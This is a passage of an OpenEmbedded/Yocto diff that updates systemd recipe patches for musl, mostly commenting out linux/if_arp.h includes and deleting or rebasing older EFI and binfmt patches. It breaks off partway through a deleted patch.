+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "bareudp.h"
+ #include "netlink-util.h"
+--- a/src/network/netdev/batadv.c
++++ b/src/network/netdev/batadv.c
+@@ -3,7 +3,7 @@
+ #include <inttypes.h>
+ #include <netinet/in.h>
+ #include <linux/genetlink.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "batadv.h"
+ #include "fileio.h"
+--- a/src/network/netdev/bond.c
++++ b/src/network/netdev/bond.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "alloc-util.h"
+ #include "bond.h"
+--- a/src/network/netdev/bridge.c
++++ b/src/network/netdev/bridge.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_bridge.h>
+
+ #include "bridge.h"
+--- a/src/network/netdev/dummy.c
++++ b/src/network/netdev/dummy.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "dummy.h"
+
+--- a/src/network/netdev/geneve.c
++++ b/src/network/netdev/geneve.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "alloc-util.h"
+ #include "conf-parser.h"
+--- a/src/network/netdev/ifb.c
++++ b/src/network/netdev/ifb.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later
+ * Copyright © 2019 VMware, Inc. */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "ifb.h"
+
+--- a/src/network/netdev/ipoib.c
++++ b/src/network/netdev/ipoib.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_link.h>
+
+ #include "ipoib.h"
+--- a/src/network/netdev/ipvlan.c
++++ b/src/network/netdev/ipvlan.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "conf-parser.h"
+ #include "ipvlan.h"
+--- a/src/network/netdev/macsec.c
++++ b/src/network/netdev/macsec.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_ether.h>
+ #include <linux/if_macsec.h>
+ #include <linux/genetlink.h>
+--- a/src/network/netdev/macvlan.c
++++ b/src/network/netdev/macvlan.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "conf-parser.h"
+ #include "macvlan.h"
+--- a/src/network/netdev/netdev.c
++++ b/src/network/netdev/netdev.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <unistd.h>
+
+ #include "alloc-util.h"
+--- a/src/network/netdev/netdevsim.c
++++ b/src/network/netdev/netdevsim.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "netdevsim.h"
+
+--- a/src/network/netdev/nlmon.c
++++ b/src/network/netdev/nlmon.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "nlmon.h"
+
+--- a/src/network/netdev/tunnel.c
++++ b/src/network/netdev/tunnel.c
+@@ -2,7 +2,7 @@
+
+ #include <netinet/in.h>
+ #include <linux/fou.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_tunnel.h>
+ #include <linux/ip.h>
+ #include <linux/ip6_tunnel.h>
+--- a/src/network/netdev/vcan.c
++++ b/src/network/netdev/vcan.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "vcan.h"
+
+--- a/src/network/netdev/veth.c
++++ b/src/network/netdev/veth.c
+@@ -3,7 +3,7 @@
+ #include <errno.h>
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/veth.h>
+
+ #include "netlink-util.h"
+--- a/src/network/netdev/vlan.c
++++ b/src/network/netdev/vlan.c
+@@ -2,7 +2,7 @@
+
+ #include <errno.h>
+ #include <net/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_vlan.h>
+
+ #include "parse-util.h"
+--- a/src/network/netdev/vrf.c
++++ b/src/network/netdev/vrf.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "vrf.h"
+
+--- a/src/network/netdev/vxcan.c
++++ b/src/network/netdev/vxcan.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <linux/can/vxcan.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "vxcan.h"
+
+--- a/src/network/netdev/vxlan.c
++++ b/src/network/netdev/vxlan.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "conf-parser.h"
+ #include "alloc-util.h"
+--- a/src/network/netdev/xfrm.c
++++ b/src/network/netdev/xfrm.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "missing_network.h"
+ #include "xfrm.h"
+--- a/src/network/networkd-bridge-mdb.c
++++ b/src/network/networkd-bridge-mdb.c
+@@ -1,7 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <net/if.h>
+-#include <linux/if_bridge.h>
+
+ #include "netlink-util.h"
+ #include "networkd-bridge-mdb.h"
+@@ -11,6 +9,8 @@
+ #include "networkd-queue.h"
+ #include "string-util.h"
+ #include "vlan-util.h"
++#include <net/if.h>
++#include <linux/if_bridge.h>
+
+ #define STATIC_BRIDGE_MDB_ENTRIES_PER_NETWORK_MAX 1024U
+
+--- a/src/network/networkd-dhcp-common.c
++++ b/src/network/networkd-dhcp-common.c
+@@ -1,7 +1,8 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
++#include <net/if.h>
+
+ #include "bus-error.h"
+ #include "dhcp-identifier.h"
+--- a/src/network/networkd-dhcp-prefix-delegation.c
++++ b/src/network/networkd-dhcp-prefix-delegation.c
+@@ -1,7 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/ipv6_route.h>
+-
+ #include "sd-dhcp6-client.h"
+
+ #include "hashmap.h"
+@@ -21,6 +19,8 @@
+ #include "strv.h"
+ #include "tunnel.h"
+
++#include <linux/ipv6_route.h>
++
+ bool link_dhcp_pd_is_enabled(Link *link) {
+ assert(link);
+
+--- a/src/network/networkd-dhcp-server.c
++++ b/src/network/networkd-dhcp-server.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if.h>
+
+ #include "sd-dhcp-server.h"
+--- a/src/network/networkd-dhcp4.c
++++ b/src/network/networkd-dhcp4.c
+@@ -3,7 +3,7 @@
+ #include <netinet/in.h>
+ #include <netinet/ip.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "alloc-util.h"
+ #include "dhcp-client-internal.h"
+--- a/src/network/networkd-link.c
++++ b/src/network/networkd-link.c
+@@ -3,7 +3,7 @@
+ #include <net/if.h>
+ #include <netinet/in.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_link.h>
+ #include <linux/netdevice.h>
+ #include <sys/socket.h>
+--- a/src/network/networkd-route.c
++++ b/src/network/networkd-route.c
+@@ -1,9 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/icmpv6.h>
+-#include <linux/ipv6_route.h>
+-#include <linux/nexthop.h>
+-
+ #include "alloc-util.h"
+ #include "event-util.h"
+ #include "netlink-util.h"
+@@ -21,6 +17,10 @@
+ #include "vrf.h"
+ #include "wireguard.h"
+
++#include <linux/icmpv6.h>
++#include <linux/ipv6_route.h>
++#include <linux/nexthop.h>
++
+ int route_new(Route **ret) {
+ _cleanup_(route_freep) Route *route = NULL;
+
+--- a/src/network/networkd-setlink.c
++++ b/src/network/networkd-setlink.c
+@@ -2,7 +2,7 @@
+
+ #include <netinet/in.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_bridge.h>
+
+ #include "missing_network.h"
+--- a/src/shared/linux/ethtool.h
++++ b/src/shared/linux/ethtool.h
+@@ -16,7 +16,8 @@
+
+ #include <linux/kernel.h>
+ #include <linux/types.h>
+-#include <linux/if_ether.h>
++#include <netinet/if_ether.h>
++//#include <linux/if_ether.h>
+
+ #ifndef __KERNEL__
+ #include <limits.h> /* for INT_MAX */
+--- a/src/shared/netif-util.c
++++ b/src/shared/netif-util.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "arphrd-util.h"
+ #include "device-util.h"
+--- a/src/udev/udev-builtin-net_id.c
++++ b/src/udev/udev-builtin-net_id.c
+@@ -18,7 +18,7 @@
+ #include <stdarg.h>
+ #include <unistd.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/netdevice.h>
+ #include <linux/pci_regs.h>
+
+--- a/src/network/netdev/wireguard.c
++++ b/src/network/netdev/wireguard.c
+@@ -6,7 +6,7 @@
+ #include <sys/ioctl.h>
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/ipv6_route.h>
+
+ #include "sd-resolve.h"
diff --git a/meta/recipes-core/systemd/systemd/0001-Fix-to-run-efi_cc-and-efi_ld-correctly-when-cross-co.patch b/meta/recipes-core/systemd/systemd/0001-Fix-to-run-efi_cc-and-efi_ld-correctly-when-cross-co.patch
deleted file mode 100644
index e2e19ba068..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-Fix-to-run-efi_cc-and-efi_ld-correctly-when-cross-co.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 527413ec243564a89ffaad6368d446de44415970 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Tue, 27 Feb 2018 21:42:23 -0800
-Subject: [PATCH] Fix to run efi_cc and efi_ld correctly when cross-compiling
-
-When cross-compiling, efi_cc and efi_ld may take the form of
-'xxx-gcc --sysroot=xxx', and this would cause run_command and
-the alike fail.
-
-Fix to split them to make commands run correctly.
-
-Upstream-Status: Pending
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/boot/efi/meson.build | 16 +++++++++++++---
- 1 file changed, 13 insertions(+), 3 deletions(-)
-
-diff --git a/src/boot/efi/meson.build b/src/boot/efi/meson.build
-index 992a3ba4c..9f9ec4911 100644
---- a/src/boot/efi/meson.build
-+++ b/src/boot/efi/meson.build
-@@ -157,7 +157,7 @@ if have_gnu_efi
- o_file = custom_target(file + '.o',
- input : file,
- output : file + '.o',
-- command : [efi_cc, '-c', '@INPUT@', '-o', '@OUTPUT@']
-+ command : efi_cc.split() + ['-c', '@INPUT@', '-o', '@OUTPUT@']
- + compile_args,
- depend_files : efi_headers)
- if (common_sources + systemd_boot_sources).contains(file)
-@@ -168,7 +168,17 @@ if have_gnu_efi
- endif
- endforeach
-
-- libgcc_file_name = run_command(efi_cc, '-print-libgcc-file-name').stdout().strip()
-+ find_libgcc_cmd_all = efi_cc + ' -print-libgcc-file-name'
-+ find_libgcc_cmd = find_libgcc_cmd_all.split()[0]
-+ find_libgcc_args = []
-+ cmd_args_all = find_libgcc_cmd_all.split()
-+ foreach arg : cmd_args_all
-+ if arg != find_libgcc_cmd
-+ find_libgcc_args += arg
-+ endif
-+ endforeach
-+
-+ libgcc_file_name = run_command(find_libgcc_cmd, find_libgcc_args).stdout().strip()
- systemd_boot_efi_name = 'systemd-boot@0@.efi'.format(EFI_MACHINE_TYPE_NAME)
- stub_efi_name = 'linux@0@.efi.stub'.format(EFI_MACHINE_TYPE_NAME)
- no_undefined_symbols = find_program('no-undefined-symbols.sh')
-@@ -179,7 +189,7 @@ if have_gnu_efi
- tuple[0],
- input : tuple[2],
- output : tuple[0],
-- command : [efi_ld, '-o', '@OUTPUT@'] +
-+ command : efi_ld.split() + ['-o', '@OUTPUT@'] +
- efi_ldflags + tuple[2] +
- ['-lefi', '-lgnuefi', libgcc_file_name])
-
---
-2.13.0
-
diff --git a/meta/recipes-core/systemd/systemd/0001-Revert-meson-print-EFI-CC-configuration-nicely.patch b/meta/recipes-core/systemd/systemd/0001-Revert-meson-print-EFI-CC-configuration-nicely.patch
deleted file mode 100644
index ed14e25bce..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-Revert-meson-print-EFI-CC-configuration-nicely.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 0bf530aac152630500939db31f98d933158fdabd Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Tue, 26 Feb 2019 14:27:49 +0800
-Subject: [PATCH] Revert "meson: print EFI CC configuration nicely"
-
-This reverts commit c512dfb9ac948ddb1ced0dab07b9dac88b198293.
-
-This patch is here because we haven't figured out how to pass
-parameter to efi-cc if it's an array in systemd-boot recipe.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 70fb218..30df834 100644
---- a/meson.build
-+++ b/meson.build
-@@ -3138,7 +3138,7 @@ if conf.get('ENABLE_EFI') == 1
- if have_gnu_efi
- status += [
- 'EFI machine type: @0@'.format(EFI_MACHINE_TYPE_NAME),
-- 'EFI CC @0@'.format(' '.join(efi_cc)),
-+ 'EFI CC @0@'.format(efi_cc),
- 'EFI lib directory: @0@'.format(efi_libdir),
- 'EFI lds directory: @0@'.format(efi_ldsdir),
- 'EFI include directory: @0@'.format(efi_incdir)]
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0001-Revert-meson-use-an-array-option-for-efi-cc.patch b/meta/recipes-core/systemd/systemd/0001-Revert-meson-use-an-array-option-for-efi-cc.patch
deleted file mode 100644
index 0d2ebf62bd..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-Revert-meson-use-an-array-option-for-efi-cc.patch
+++ /dev/null
@@ -1,77 +0,0 @@
-From 0030dcbac1a9177ef7a28af209ac67149b899f5f Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Tue, 26 Feb 2019 14:17:25 +0800
-Subject: [PATCH] Revert "meson: use an array option for efi-cc"
-
-This reverts commit 595343fb4c99c2679d347ef7c19debfbfed6342e.
-
-This patch is here because we haven't figured out how to pass
-parameter to efi-cc if it's an array in systemd-boot recipe.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- meson_options.txt | 2 +-
- src/boot/efi/meson.build | 11 ++++++-----
- 2 files changed, 7 insertions(+), 6 deletions(-)
-
-diff --git a/meson_options.txt b/meson_options.txt
-index 044bb79..3d28bfd 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -292,7 +292,7 @@ option('dbus', type : 'combo', choices : ['auto', 'true', 'false'],
-
- option('gnu-efi', type : 'combo', choices : ['auto', 'true', 'false'],
- description : 'gnu-efi support for sd-boot')
--option('efi-cc', type : 'array',
-+option('efi-cc', type : 'string',
- description : 'the compiler to use for EFI modules')
- option('efi-ld', type : 'string',
- description : 'the linker to use for EFI modules')
-diff --git a/src/boot/efi/meson.build b/src/boot/efi/meson.build
-index 2140151..d8db3a1 100644
---- a/src/boot/efi/meson.build
-+++ b/src/boot/efi/meson.build
-@@ -34,8 +34,8 @@ stub_sources = '''
-
- if conf.get('ENABLE_EFI') == 1 and get_option('gnu-efi') != 'false'
- efi_cc = get_option('efi-cc')
-- if efi_cc.length() == 0
-- efi_cc = cc.cmd_array()
-+ if efi_cc == ''
-+ efi_cc = ' '.join(cc.cmd_array())
- endif
- efi_ld = get_option('efi-ld')
- if efi_ld == ''
-@@ -57,7 +57,8 @@ if conf.get('ENABLE_EFI') == 1 and get_option('gnu-efi') != 'false'
-
- efi_libdir = get_option('efi-libdir')
- if efi_libdir == ''
-- ret = run_command(efi_cc + ['-print-multi-os-directory'])
-+ cmd = 'cd /usr/lib/$(@0@ -print-multi-os-directory) && pwd'.format(efi_cc)
-+ ret = run_command('sh', '-c', cmd)
- if ret.returncode() == 0
- path = join_paths('/usr/lib', ret.stdout().strip())
- ret = run_command('realpath', '-e', path)
-@@ -152,7 +153,7 @@ if have_gnu_efi
- o_file = custom_target(file + '.o',
- input : file,
- output : file + '.o',
-- command : efi_cc + ['-c', '@INPUT@', '-o', '@OUTPUT@']
-+ command : [efi_cc, '-c', '@INPUT@', '-o', '@OUTPUT@']
- + compile_args,
- depend_files : efi_headers)
- if (common_sources + systemd_boot_sources).contains(file)
-@@ -163,7 +164,7 @@ if have_gnu_efi
- endif
- endforeach
-
-- libgcc_file_name = run_command(efi_cc + ['-print-libgcc-file-name']).stdout().strip()
-+ libgcc_file_name = run_command(efi_cc, '-print-libgcc-file-name').stdout().strip()
- systemd_boot_efi_name = 'systemd-boot@0@.efi'.format(EFI_MACHINE_TYPE_NAME)
- stub_efi_name = 'linux@0@.efi.stub'.format(EFI_MACHINE_TYPE_NAME)
- no_undefined_symbols = find_program('no-undefined-symbols.sh')
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch b/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
index 73e65ff798..330ad492ba 100644
--- a/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
+++ b/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
@@ -1,8 +1,8 @@
-From 98254e4798e79d52ac6b562616cd244120f6e239 Mon Sep 17 00:00:00 2001
+From f9974d7dc289551bfbf823b716fd32b43c54e465 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Thu, 21 Feb 2019 16:23:24 +0800
-Subject: [PATCH 1/5] binfmt: Don't install dependency links at install time
- for the binfmt services
+Subject: [PATCH] binfmt: Don't install dependency links at install time for
+ the binfmt services
use [Install] blocks so that they get created when the service is enabled
like a traditional service.
@@ -18,6 +18,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
[rebased for systemd 243]
Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
---
units/meson.build | 6 ++----
units/proc-sys-fs-binfmt_misc.automount | 3 +++
@@ -25,34 +26,34 @@ Signed-off-by: Scott Murray <scott.murray@konsulko.com>
3 files changed, 9 insertions(+), 4 deletions(-)
diff --git a/units/meson.build b/units/meson.build
-index e1ee9f86c3..6bb7771b36 100644
+index a9bf28f6d9..11d3644168 100644
--- a/units/meson.build
+++ b/units/meson.build
-@@ -46,8 +46,7 @@ units = [
+@@ -63,8 +63,7 @@ units = [
['poweroff.target', '',
- 'runlevel0.target'],
+ (with_runlevels ? 'runlevel0.target' : '')],
['printer.target', ''],
- ['proc-sys-fs-binfmt_misc.automount', 'ENABLE_BINFMT',
- 'sysinit.target.wants/'],
+ ['proc-sys-fs-binfmt_misc.automount', 'ENABLE_BINFMT'],
['proc-sys-fs-binfmt_misc.mount', 'ENABLE_BINFMT'],
['reboot.target', '',
- 'runlevel6.target ctrl-alt-del.target'],
-@@ -130,8 +129,7 @@ in_units = [
- ['systemd-ask-password-console.service', ''],
- ['systemd-ask-password-wall.service', ''],
+ 'ctrl-alt-del.target' + (with_runlevels ? ' runlevel6.target' : '')],
+@@ -184,8 +183,7 @@ in_units = [
+ ['rescue.service', ''],
+ ['serial-getty@.service', ''],
['systemd-backlight@.service', 'ENABLE_BACKLIGHT'],
- ['systemd-binfmt.service', 'ENABLE_BINFMT',
- 'sysinit.target.wants/'],
+ ['systemd-binfmt.service', 'ENABLE_BINFMT'],
- ['systemd-bless-boot.service', 'ENABLE_EFI HAVE_BLKID'],
+ ['systemd-bless-boot.service', 'HAVE_GNU_EFI HAVE_BLKID'],
['systemd-boot-check-no-failures.service', ''],
- ['systemd-boot-system-token.service', 'ENABLE_EFI',
+ ['systemd-coredump@.service', 'ENABLE_COREDUMP'],
diff --git a/units/proc-sys-fs-binfmt_misc.automount b/units/proc-sys-fs-binfmt_misc.automount
-index 30a6bc9918..4231f3b70f 100644
+index 172c8757ab..f65d8930c6 100644
--- a/units/proc-sys-fs-binfmt_misc.automount
+++ b/units/proc-sys-fs-binfmt_misc.automount
-@@ -18,3 +18,6 @@ ConditionPathIsReadWrite=/proc/sys/
+@@ -19,3 +19,6 @@ ConditionPathIsReadWrite=/proc/sys/
[Automount]
Where=/proc/sys/fs/binfmt_misc
@@ -60,7 +61,7 @@ index 30a6bc9918..4231f3b70f 100644
+[Install]
+WantedBy=sysinit.target
diff --git a/units/systemd-binfmt.service.in b/units/systemd-binfmt.service.in
-index e940c7c9ad..6be7f5cc9b 100644
+index 96f595ad72..7c010bb224 100644
--- a/units/systemd-binfmt.service.in
+++ b/units/systemd-binfmt.service.in
@@ -14,6 +14,7 @@ Documentation=https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.htm
@@ -69,11 +70,11 @@ index e940c7c9ad..6be7f5cc9b 100644
Conflicts=shutdown.target
+Wants=proc-sys-fs-binfmt_misc.automount
After=proc-sys-fs-binfmt_misc.automount
- Before=sysinit.target shutdown.target
- ConditionPathIsReadWrite=/proc/sys/
-@@ -28,3 +29,6 @@ Type=oneshot
- RemainAfterExit=yes
- ExecStart=@rootlibexecdir@/systemd-binfmt
+ After=proc-sys-fs-binfmt_misc.mount
+ After=local-fs.target
+@@ -31,3 +32,6 @@ RemainAfterExit=yes
+ ExecStart={{ROOTLIBEXECDIR}}/systemd-binfmt
+ ExecStop={{ROOTLIBEXECDIR}}/systemd-binfmt --unregister
TimeoutSec=90s
+
+[Install]
diff --git a/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch b/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch
deleted file mode 100644
index 2f4daf8665..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch
+++ /dev/null
@@ -1,413 +0,0 @@
-From 85e3c3046562ec24fc2f09ebfd08bf9f168091d5 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Fri, 1 Mar 2019 15:22:15 +0800
-Subject: [PATCH] do not disable buffer in writing files
-
-Do not disable buffer in writing files, otherwise we get
-failure at boot for musl like below.
-
- [!!!!!!] Failed to allocate manager object.
-
-And there will be other failures, critical or not critical.
-This is specific to musl.
-
-Upstream-Status: Inappropriate [musl]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[Rebased for v242]
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- src/basic/cgroup-util.c | 14 +++++++-------
- src/basic/procfs-util.c | 4 ++--
- src/basic/smack-util.c | 2 +-
- src/basic/util.c | 2 +-
- src/binfmt/binfmt.c | 6 +++---
- src/core/main.c | 4 ++--
- src/core/smack-setup.c | 8 ++++----
- src/hibernate-resume/hibernate-resume.c | 2 +-
- src/libsystemd/sd-device/sd-device.c | 2 +-
- src/login/logind-dbus.c | 2 +-
- src/nspawn/nspawn-cgroup.c | 2 +-
- src/nspawn/nspawn.c | 6 +++---
- src/shared/sysctl-util.c | 2 +-
- src/sleep/sleep.c | 10 +++++-----
- src/udev/udevadm-trigger.c | 2 +-
- src/udev/udevd.c | 2 +-
- src/vconsole/vconsole-setup.c | 2 +-
- 17 files changed, 36 insertions(+), 36 deletions(-)
-
-diff --git a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
-index 7b5839ccd6..18f6e8ffc8 100644
---- a/src/basic/cgroup-util.c
-+++ b/src/basic/cgroup-util.c
-@@ -860,7 +860,7 @@ int cg_attach(const char *controller, const char *path, pid_t pid) {
-
- xsprintf(c, PID_FMT "\n", pid);
-
-- r = write_string_file(fs, c, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, c, 0);
- if (r < 0)
- return r;
-
-@@ -1142,7 +1142,7 @@ int cg_install_release_agent(const char *controller, const char *agent) {
-
- sc = strstrip(contents);
- if (isempty(sc)) {
-- r = write_string_file(fs, agent, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, agent, 0);
- if (r < 0)
- return r;
- } else if (!path_equal(sc, agent))
-@@ -1160,7 +1160,7 @@ int cg_install_release_agent(const char *controller, const char *agent) {
-
- sc = strstrip(contents);
- if (streq(sc, "0")) {
-- r = write_string_file(fs, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "1", 0);
- if (r < 0)
- return r;
-
-@@ -1187,7 +1187,7 @@ int cg_uninstall_release_agent(const char *controller) {
- if (r < 0)
- return r;
-
-- r = write_string_file(fs, "0", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "0", 0);
- if (r < 0)
- return r;
-
-@@ -1197,7 +1197,7 @@ int cg_uninstall_release_agent(const char *controller) {
- if (r < 0)
- return r;
-
-- r = write_string_file(fs, "", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "", 0);
- if (r < 0)
- return r;
-
-@@ -2053,7 +2053,7 @@ int cg_set_attribute(const char *controller, const char *path, const char *attri
- if (r < 0)
- return r;
-
-- return write_string_file(p, value, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(p, value, 0);
- }
-
- int cg_get_attribute(const char *controller, const char *path, const char *attribute, char **ret) {
-@@ -2697,7 +2697,7 @@ int cg_enable_everywhere(
- return log_debug_errno(errno, "Failed to open cgroup.subtree_control file of %s: %m", p);
- }
-
-- r = write_string_stream(f, s, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_stream(f, s, 0);
- if (r < 0) {
- log_debug_errno(r, "Failed to %s controller %s for %s (%s): %m",
- FLAGS_SET(mask, bit) ? "enable" : "disable", n, p, fs);
-diff --git a/src/basic/procfs-util.c b/src/basic/procfs-util.c
-index 42ce53d5aa..57512532a6 100644
---- a/src/basic/procfs-util.c
-+++ b/src/basic/procfs-util.c
-@@ -86,13 +86,13 @@ int procfs_tasks_set_limit(uint64_t limit) {
- * decrease it, as threads-max is the much more relevant sysctl. */
- if (limit > pid_max-1) {
- sprintf(buffer, "%" PRIu64, limit+1); /* Add one, since PID 0 is not a valid PID */
-- r = write_string_file("/proc/sys/kernel/pid_max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/pid_max", buffer, 0);
- if (r < 0)
- return r;
- }
-
- sprintf(buffer, "%" PRIu64, limit);
-- r = write_string_file("/proc/sys/kernel/threads-max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/threads-max", buffer, 0);
- if (r < 0) {
- uint64_t threads_max;
-
-diff --git a/src/basic/smack-util.c b/src/basic/smack-util.c
-index 123d00e13e..e7ea78f349 100644
---- a/src/basic/smack-util.c
-+++ b/src/basic/smack-util.c
-@@ -115,7 +115,7 @@ int mac_smack_apply_pid(pid_t pid, const char *label) {
- return 0;
-
- p = procfs_file_alloca(pid, "attr/current");
-- r = write_string_file(p, label, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(p, label, 0);
- if (r < 0)
- return r;
-
-diff --git a/src/basic/util.c b/src/basic/util.c
-index 93d610bc98..97dca64f73 100644
---- a/src/basic/util.c
-+++ b/src/basic/util.c
-@@ -294,7 +294,7 @@ void disable_coredumps(void) {
- if (detect_container() > 0)
- return;
-
-- r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", 0);
- if (r < 0)
